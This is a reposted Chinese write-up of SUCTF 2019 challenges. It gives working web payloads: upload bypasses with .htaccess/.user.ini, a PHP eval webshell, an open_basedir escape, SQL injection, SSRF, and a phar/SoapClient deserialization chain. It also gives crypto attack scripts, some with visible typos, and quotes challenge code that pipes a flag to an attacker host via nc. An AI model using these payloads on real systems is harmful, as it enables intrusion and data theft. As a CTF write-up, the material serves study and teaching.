2019 SUCTF wp

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2024年8月18日00:47:14评论5 views字数 17137阅读57分7秒阅读模式

前段时间还在夏令营，今天终于有空补发一下当初打的很多的比赛了

WEB

checkin

这道题一开始跑偏了，弄了很久.htaccess，最后幡然悔悟，nginx想用.htaccess要改配置文件鸭，网站文件菜鸡控制不了，最后找了一下别的方法，一个菜鸡没见过的东西.user.ini，最后就是绕过上传&执行了

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http://www.vuln.cn/6001

需要注意的就是他会检测文件内容不能包含<?，所以上马的时候上script马，还有就是会检测文件头，加个GIF89a就行了
2019 SUCTF wp

EasyPHP

这道题直接给了源码

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<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看到这题有两个考点，一个是bypass执行eval，另一个是文件上传
第一步的过滤很严，能用的字符不多，函数更是不能用了Orz
后面的文件上传也很严格，文件后缀不能有ph，文件内容不能有<?，文件类型要符合exif_imagetype
先看第一步，剩下的可见字符能入手的估计也就是~和^，异或想去利用，一个字符至少得用六个字符去表示，加起来肯定是不够的，函数就更加执行不了了
然后参考微笑师傅的博客，思路清奇
2019 SUCTF wp
所以接下来考虑变量，因为还有$，然后最短的变量就是$_GET，估计能18位搞定Orz
一波操作以后能构造出

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${%A0%B8%BA%AB^%ff%ff%ff%ff}{%d9}();&%d9=phpinfo
#$_GET[0]&0=phpinfo

无参的函数不多，因此第二步的利用就是要用他给的get_the_flag函数了
第二步的考点估计后缀过滤得那么死，环境还是php7.2，估计得.htaccess，但是怎么满足exif_imagetype呢，这里就需要找一个文件，能同时满足图片和.htaccess文件的格式，而.htaccess文件的不解析符有#和\x00，因此我们去找一下有没有什么图片头是有这些符号的
然后这里有个xbm图片，格式如下

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#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

所以我们上传.htaccess文件如下

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#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337                         # Define the height
AddType application/x-httpd-php .aaa        # Say all file with extension .php16 will execute php
php_value zend.multibyte 1                  # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1             # Detect if the file have unicode content
php_value display_errors 1                  # Display php errors

这部分跟直接拿了l33t的脚本去改

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SIZE_HEADER = b'\n\n#define width 1337\n#define height 1337\n\n'
def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')
    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)
    phpfile.close()

def generate_htaccess():
    htaccess = open('..htaccess', 'wb')
    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .aaa\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')
    htaccess.close()

generate_htaccess()
generate_php_file("eval.aaa", "<?php eval($_GET['cmd']); ?>")

上传过去又遇到open_basedir bypass，经典的bypass

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<?php
mkdir('/tmp/aaa/');
chdir('/tmp/aaa/');
ini_set('open_basedir'. '..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents('/flag'));

easy_sql

这道题菜鸡的解法是非预期…….. 因为运维人员在线vim的时候源码被我们扫到了，所以………

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if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));
    }

然后看着源码做题很舒服Orz……（逃
2019 SUCTF wp
官方正解是

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1; set sql_mode=pipes_as_concat; select 1

学到了（逃

Pythonginx

这题也是给了源码

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@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

看了源码明显的服务器伪造&文件读取，但是条件要符合有点困难，看到newhost.append(h.encode('idna').decode('utf-8'))这句去github搜了一下，有点惊喜

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https://github.com/python-hyper/hyperlink/issues/19

然后就是利用了，因为题目提示nginx，所以直接读配置文件找flag
2019 SUCTF wp
赛后才知道是今年blackhat提到的，还是tcl
顺便贴一个nginx配置目录，溜了

Upload Labs 2

主办方依旧给了源码

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//index.php
include 'class.php';
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误：: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }    
}

//func.php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

//class.php
include 'config.php';
class File{
    public $file_name;
    public $type;
    public $func = "Check";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE); //返回mine类型
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
    function __toString(){
        return $this->type;
    }
}
class Check{
    public $file_name;
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

//admin.php
include 'config.php';
class Ad{
    public $ip;
    public $port;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;
    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        $this->ip = $ip;
        $this->port = $port;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }
    function check(){
        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }
    function __wakeup(){
        system("/readflag | nc $this->ip $this->port");
    }
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $ip = $_POST['ip'];
        $port = $_POST['port'];
        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

index.php里面上传文件会限制后缀、大小和文件内容，上传了以后func.php可以对文件进行查找，但是过滤得很严，跟过去getMine会看到有个finfo_file函数，利用它去触发反序列化，File类的__wakeup方法也很神奇，通过反射调用check函数，既然是反序列化怎么可能是用回原来的类的，看一下还剩的最后一个类，Ad类明显要ssrf，立刻就想到soap类，而soap类的__call方法则用File类的check去触发，最后Ad类的check触发用splstack::push，这步参考了delta的wp
最后的问题，phar怎么触发呢，这里就是考的就是phar stream wrapper，File类的finfo_open与phar和php://filter有奇效,payload为php://filter/resource=phar://upload/af32ccd1c4bd937e0bd05fcf70528505/bb72f33959b3680b6d3656d5472a8f13.png 

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<?php
class File{

    public $file_name;
    public $type;
    public $func = 'SoapClient';

    function __wakeup()
{
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a -> check();
    }

    function __construct()
{
        $target = 'http://127.0.0.1/admin.php';
        $post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123&arg2=123&arg3=';
        $this->file_name = [null, array("location" => $target, "user_agent" => "exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];
    }

}

file_put_contents("test.txt", "test");
$e = new File();
unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($e);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename("phar.phar", "phar.png");
unlink("test.txt");

这题出题人的思路也很巧妙，后面触发部分考察的是mysql client attack，而mysql在执行real_connect的时候会覆盖前面的mysqli->options

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$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');

mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting

iCloudMusic

这道题菜鸡只能跟着大佬的博客复现，还是太菜了（捂脸
首先下下来一个压缩包，进入resources目录去解压app.asar文件（很奇怪，只能解压win32的压缩包，其他全损坏
2019 SUCTF wp
解压出来就是审计源码了，list.html里面music_info部分存在js注入
2019 SUCTF wp
然后就是利用process进行函数劫持触发函数
https://github.com/imagemlt/iCloudMusic

CRYPTO

Prime

给4个n和s，n之间还不互质，所以能求出4个因子，然后就是普通的rsa了，贴个脚本（溜

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import gmpy2
import libnum
import hashlib
import binascii
from Crypto.Util.number import long_to_bytes
from pwn import *
context.log_level = 'debug'
p = remote("47.111.59.243","8003")
p.recvuntil("str + ")
s = p.recv(4)
p.recvuntil("== ")
md5s = p.recv(5)
def md5(str):
    sha = hashlib.md5(str)
    e = sha.hexdigest()
    return e

for i in range(10000000):
    if md5(str(i)+s)[0:5] == md5s:
        p.sendline(str(i))
        break
p.interactive()

p.recvuntil("cs[0] = ")
cs0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[0] = ")
ns0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[1] = ")
cs1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[1] = ")
ns1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[2] = ")
cs2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[2] = ")
ns2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[3] = ")
cs3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[3] = ")
ns3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ms[0] = ")
cs = []
ns = []

p01 = gmpy2.gcd(ns0, ns1)
p02 - gmpy2.gcd(ns0, ns2)
p03 = gmpy2.gcd(ns0, ns3)
p04 = ns0 / p01 / p02 / p03
d0 = int(gmpy2.invert(ns0, (p01 - 1)*(p02 - 1)*(p03 - 1)*(p04 - 1)))
m1 = pow(cs0, d0, ns0)

p11 = gmpy2.gcd(ns1, ns0)
p12 = gmpy2.gcd(ns1, ns2)
p13 = gmpy2.gcd(ns1, ns3)
p14 = ns1 / p11 / p12 / p13
d1 = int(gmpy2.invert(ns1, (p11 -1)*(p12 - 1)*(p13 - 1)*(p14 - 1)))
m2 = pow(cs1, d1, ns1)

p21 = gmpy2.gcd(ns2, ns0)
p22 = gmpy2.gcd(ns2, ns1)
p23 = gmpy2,gcd(ns2, ns3)
p24 = ns2 / p20 / p21 / p22
d2 = int(gmpy2.invert(ns2, (p21 - 1)*(p22 - 1)*(p23 - 1)*(p24 - 1)))
m3 = pow(cs2, d2, ns2)

p31 = gmpy2.gcd(ns3, ns0)
p32 = gmpy2.gcd(ns3, ns1)
p33 = gmpy2,gcd(ns3, ns2)
p34 = ns3 / p30 / p31 / p32
d3 = int(gmpy2.invert(ns3, (p31 - 1)*(p32 - 1)*(p33 - 1)*(p34 - 1)))
m4 = pow(cs3, d3, nx3)

p.sendline(str(hex(m1)))
p.recvuntil("ms[1] = ")
p.sendline(str(hex(m2)))
p.recvuntil("ms[2] = ")
p.sendline(str(hex(m3)))
p.recvuntil("ms[3] = ")
p.sendline(str(hex(m4)))
p.interactive()

RSA

典型的lsb oracle attack，继续贴脚本

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# -*- coding: utf-8 -*-
#/usr/bin/env python
import requests
import hashlib
from pwn import *
import libnum
import Crypto
import re
from binascii import hexlify,unhexlify

def md5(str):
    sha = hashlib.md5(str)
    e = sha.hexdigest()
    return e

context.log_level = 'debug'
p = remote("47.111.59.243",9421)
a = p.recvuntil(")")[-5:-1]
print a
b = p.recvuntil("\n")[-6:-1]
print b

md5s = b
for i in range(10000000):
    if md5(str(i)+a)[0:5] == md5s:
        key = i
        break
p.recvuntil("> ")
p.sendline(str(key))

def get_m(n,c,e):
    l = 0
    r = n
    res = c
    e = e
    for i in range(20):
        print (l==r)
        if l == r:
            break
        p.recvuntil("Please input your option:")
        p.sendline("D")
        res = oracle(res, n, e)
        p.sendline(str(res))
        p.recvuntil("The plain of your decrypted message is ")
        judge = p.recvuntil("!")[:-1]
        if judge == "odd":
            l = (l + r) / 2
        else:
            r = (l + r) / 2
    print (l==r)
    return l

def send_msg(c):
    p.recvuntil("Please input your option:")
    p.sendline("D")
    p.sendline(str(c))
    p.recvuntil("The plain of your decrypted message is ")
    judge = p.recvuntil("!")[:-1]
    if judge == "odd":
        return 1
    else:
        return 0

def lsb_attack(n, e, c):
    i = 0
    l, r, k = 0, 1, 1
    while n * l // k + 1 < n * r //k:
        m = l + r
        l *= 2
        r *= 2
        k *= 2
        if send_msg(c * pow(k, e, n) % n) == 1: #odd
            l = m
        else: #even
            r = m
    m = n * l // k
    if pow(m, e, n) == c:
        return m
    m = n * r // k
    if pow(m, e, n) == c:
        return m
    return None

def test():
    p.recvuntil("n = ")
    n = int(p.recvline())
    p.recvuntil("e = ")
    e = int(p.recvline())
    p.recvuntil("c = ")
    c = int(p.recvline())
    key = lsb_attack(n, e, c)
    p.recvuntil("Please input your option:")
    p.sendline("G")
    p.sendline(str(key))

for i in range(3):
    key = 0
    test()    
p.interactive()

2019 SUCTF wp

DSA

因为有两个相同的r，所以我们可以爆破出符合条件的k，然后加密回去攻击

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#coding=utf8
from Crypto.Hash import SHA
from Crypto.Util.number import long_to_bytes
from pwn import *
from libnum import *
context.log_level = 'debug'

def inv(a, b):
assert gcd(a % b, b) == 1
return xgcd(a % b, b)[0] % q

def decrypt(r, c1, c2, m1, m2, p, q, g, y):
ds = c2 - c1
dm = (m2 - m1) % q
k = dm * inv(ds, q) % q
print "[+]k------->" + str(k)
tmp = k * c1 - m1
x = tmp * inv(r, q) % q
assert pow(g, x, p) == y
return x

def sig(m, x, g, p, q):
k = 151512
r = pow(g, k, p) % q
c = (m + x * r) * inv(k, q) % q
return (r, c)

po = remote("47.111.59.243", "8001")

po.recvuntil("me?")
po.send("\n")

po.recvuntil("p:")
p = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("q:")
q = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("g:")
g = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("y:")
y = int(po.recvuntil("\n").strip("\n"))
md5 = []
rr = []
cc = []
def getdata():
po.recvuntil("digest:")
m = po.recvuntil("(")[1:-1]
md5.append(m)
n = po.recvuntil(",")[:-2]
rr.append(n)
k = po.recvuntil(")")[1:-2]
cc.append(k)
print "md5--->" + m
print "rr--->" + n
print "cc--->" + k
#
po.recvuntil("before:") 
po.send("\n")
for i in range(12):
getdata()
po.recvuntil("digest is:")
l = po.recv(40)
print "md5--->" + l
print md5
print rr
print cc
j = 1
for i in range(len(rr)):
for j in range(j,len(rr)):
if rr[i]==rr[j]:
md51 = md5[i]
md52 = md5[j]
rr1 = rr[i]
rr2 = rr[j]
cc1 = cc[i]
cc2 = cc[j]
j = j + 1
print "md51--->" + md51
print "md52--->" + md52
print "rr1--->" + rr1
print "rr2--->" + rr2
print "cc1--->" + cc1
print "cc2--->" + cc2

print "md5555---->" + l

x = decrypt(int(rr1), int(cc1), int(cc2), int(md51), int(md52), p, q, g, y)
res = sig(int(l), x, g, p, q)
print res
po.interactive()

2019 SUCTF wp

MT

这道题是队友做出来的，tql
convert函数中移位跟与运算看似不可逆，但是每一步都亦或了自己，所以是可逆的，逆回去的基本思路就是根据移位补位上去的0为已知将一个数按二进制位分块，按块求解。比如第一步
m = m ^ m >> 13 我们已知的只有亦或后的结果
2019 SUCTF wp
往下的几步运算也一样

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#coding:utf-8
num = 0xaa21f3a2 #641460a9 e3953b1a aa21f3a2
# 0xdc05c2a -> 0xdc05d92
# 0xd6166027 -> 0xd6167ae5
# num -> res
# m = m ^ m >> 19
# 0x6e02前19
# 0x1b8 前13
# 0x1c2a末13
# 验证通过
a = num >> 13#前19bit
b = num >> 19#前13bit
c = num & 0x1fff#亦或后的后13bit
d = b ^c #后13bit
res = (a << 13) + d #第三轮结果 
print "third"
print hex(res)
# 验证通过
# 0x56526027 -> 0xd6166027
# second -> third
a = res & 0x1ffff #结果的低17位
p = 0x85d40000
b = (p & 0xfffe0000)>>17 #取p的高15位
c = (res & 0xfffe0000)>>17 #取res的高15位
d = (a & b) ^ c #得到结果的高15位
ans = (d << 17) + a #第二轮结果 
print "second"
print hex(ans)
# 验证通过
# 0x6abb523f -> 0x1a3b443f
# second -> first
p = 0x78f39600
a = ans & 0x1ff #结果的低9位
# print "低9位 --> " + hex(a)
b = (p >> 9) & 0x1ff #取p中间的9位
# print "中间9位 --> " + hex(b)
c = (ans >> 9) & 0x1ff
# print "second的中间9位 --> " + hex(c)
d = (a & b) ^ c #结果的中间9位
# print "结果的中间9位 --> " + hex(d)
e = (p >> 18) & 0x1ff #p的倒数第3个9位
# print "p的倒数第3个9位 --> " + hex(e)
f = (ans >> 18) & 0x1ff #ans的倒数第3个9位
# print "ans的倒数第3个9位 --> " + hex(f)
h = (d & e) ^ f #结果的倒数第3个9位
# print "结果的倒数第3个9位 --> " + hex(h)
i = h & 0x1f #取5位
j = p >> 27 #p的高5位
k = ans >> 27 #ans 的高5位
l = (i & j) ^ k #结果的高5位
# print "结果的高5位 --> " + hex(l)
res = (l << 27) + (h << 18) + (d << 9) + a#第一轮结果
print "first"
print hex(res)
# 验证通过
a = res >> 19#结果的高13位
# print "结果的高13位 --> " + hex(a)
b = (res >> 6) & 0x1fff #res的中间13位
# print "res的中间13位 --> " + hex(b)
c = a ^ b #结果的中间13位
# print "结果的中间13位 --> " + hex(c)
d = c >> 7 #取6位
e = res & 0x3f
f = d ^ e # 结果的低6位
# print "结果的低6位 --> " + hex(f)
ans = (a << 19) + (c << 6) + f #一段flag
print "flag"
print hex(ans)

参考

https://blog.zeddyu.info/2019/08/24/SUCTF-2019/
https://xz.aliyun.com/t/6042
https://www.cnblogs.com/wfzWebSecuity/p/11207145.html

FROM:Xi4or0uji

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  • 本文由 发表于 2024年8月18日00:47:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   2019 SUCTF wphttps://cn-sec.com/archives/3075050.html

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